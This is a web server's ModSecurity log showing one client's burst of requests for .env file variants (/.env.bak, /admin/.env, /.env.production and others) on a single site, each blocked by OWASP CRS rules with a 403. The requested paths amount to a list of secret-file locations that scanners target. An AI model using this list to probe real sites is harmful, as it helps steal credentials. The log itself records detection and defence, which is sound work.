[Mon Oct 26 07:29:13.608478 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85iSgqq3CRmBohYLhomwAAABs"]
[Mon Oct 26 07:29:13.608615 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85iSgqq3CRmBohYLhomwAAABs"]
[Mon Oct 26 07:29:13.608904 2026] [security2:error] [pid 3023394:tid 3023394] [client 34.19.176.196:37806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at85iSgqq3CRmBohYLhomwAAABs"]
[Mon Oct 26 07:29:13.609884 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at85iT2qIoRfAL3Hx22jLAAAAAI"]
[Mon Oct 26 07:29:13.610052 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at85iT2qIoRfAL3Hx22jLAAAAAI"]
[Mon Oct 26 07:29:13.610270 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at85iT2qIoRfAL3Hx22jLAAAAAI"]
[Mon Oct 26 07:29:13.611333 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at85iesSoQAaBNrI9tQz-wAAAAk"]
[Mon Oct 26 07:29:13.611452 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at85iesSoQAaBNrI9tQz-wAAAAk"]
[Mon Oct 26 07:29:13.611688 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at85iesSoQAaBNrI9tQz-wAAAAk"]
[Mon Oct 26 07:29:13.612746 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at85iZ_dbg3ptBnwDgQ4MQAAAAM"]
[Mon Oct 26 07:29:13.612882 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at85iZ_dbg3ptBnwDgQ4MQAAAAM"]
[Mon Oct 26 07:29:13.613217 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at85iZ_dbg3ptBnwDgQ4MQAAAAM"]
[Mon Oct 26 07:29:13.614270 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at85iSLwNEs417cf7iD3kQAAAB4"]
[Mon Oct 26 07:29:13.614472 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at85iSLwNEs417cf7iD3kQAAAB4"]
[Mon Oct 26 07:29:13.614723 2026] [security2:error] [pid 3023406:tid 3023406] [client 34.19.176.196:37682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at85iSLwNEs417cf7iD3kQAAAB4"]
[Mon Oct 26 07:29:13.617043 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at85idllH_J00GQzpNGhXgAAABg"]
[Mon Oct 26 07:29:13.617172 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at85idllH_J00GQzpNGhXgAAABg"]
[Mon Oct 26 07:29:13.617429 2026] [security2:error] [pid 3023391:tid 3023391] [client 34.19.176.196:37804] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at85idllH_J00GQzpNGhXgAAABg"]
[Mon Oct 26 07:29:13.618433 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at85iU5VL05DK7ky7IO-lQAAAA4"]
[Mon Oct 26 07:29:13.618562 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at85iU5VL05DK7ky7IO-lQAAAA4"]
[Mon Oct 26 07:29:13.618796 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at85iU5VL05DK7ky7IO-lQAAAA4"]
[Mon Oct 26 07:29:13.681809 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at85iRatj5i5ZMjJaPkrUgAAABY"]
[Mon Oct 26 07:29:13.682046 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at85iRatj5i5ZMjJaPkrUgAAABY"]
[Mon Oct 26 07:29:13.682311 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at85iRatj5i5ZMjJaPkrUgAAABY"]
[Mon Oct 26 07:29:13.732728 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at85iWr0p85NPswPKocFQwAAACA"]
[Mon Oct 26 07:29:13.732981 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at85iWr0p85NPswPKocFQwAAACA"]
[Mon Oct 26 07:29:13.733343 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at85iWr0p85NPswPKocFQwAAACA"]
[Mon Oct 26 07:29:13.734391 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85id-fnwNv3Luhiy4YUgAAAAE"]
[Mon Oct 26 07:29:13.734539 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85id-fnwNv3Luhiy4YUgAAAAE"]
[Mon Oct 26 07:29:13.734762 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at85id-fnwNv3Luhiy4YUgAAAAE"]
[Mon Oct 26 07:29:13.759949 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at85ifAWpsgTeulbP5bFHQAAABI"]
[Mon Oct 26 07:29:13.760112 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at85ifAWpsgTeulbP5bFHQAAABI"]
[Mon Oct 26 07:29:13.760344 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at85ifAWpsgTeulbP5bFHQAAABI"]
[Mon Oct 26 07:29:13.943642 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at85iTUxizeD7p0l-jkfywAAAB8"]
[Mon Oct 26 07:29:13.943874 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at85iTUxizeD7p0l-jkfywAAAB8"]
[Mon Oct 26 07:29:13.944259 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at85iTUxizeD7p0l-jkfywAAAB8"]
[Mon Oct 26 07:29:14.230552 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at85ilZCbqkv80FsVwhsdAAAABk"]
[Mon Oct 26 07:29:14.230801 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at85ilZCbqkv80FsVwhsdAAAABk"]
[Mon Oct 26 07:29:14.231082 2026] [security2:error] [pid 3023392:tid 3023392] [client 34.19.176.196:37712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at85ilZCbqkv80FsVwhsdAAAABk"]
[Mon Oct 26 07:29:14.231855 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at85ik5VL05DK7ky7IO-lgAAAA4"]
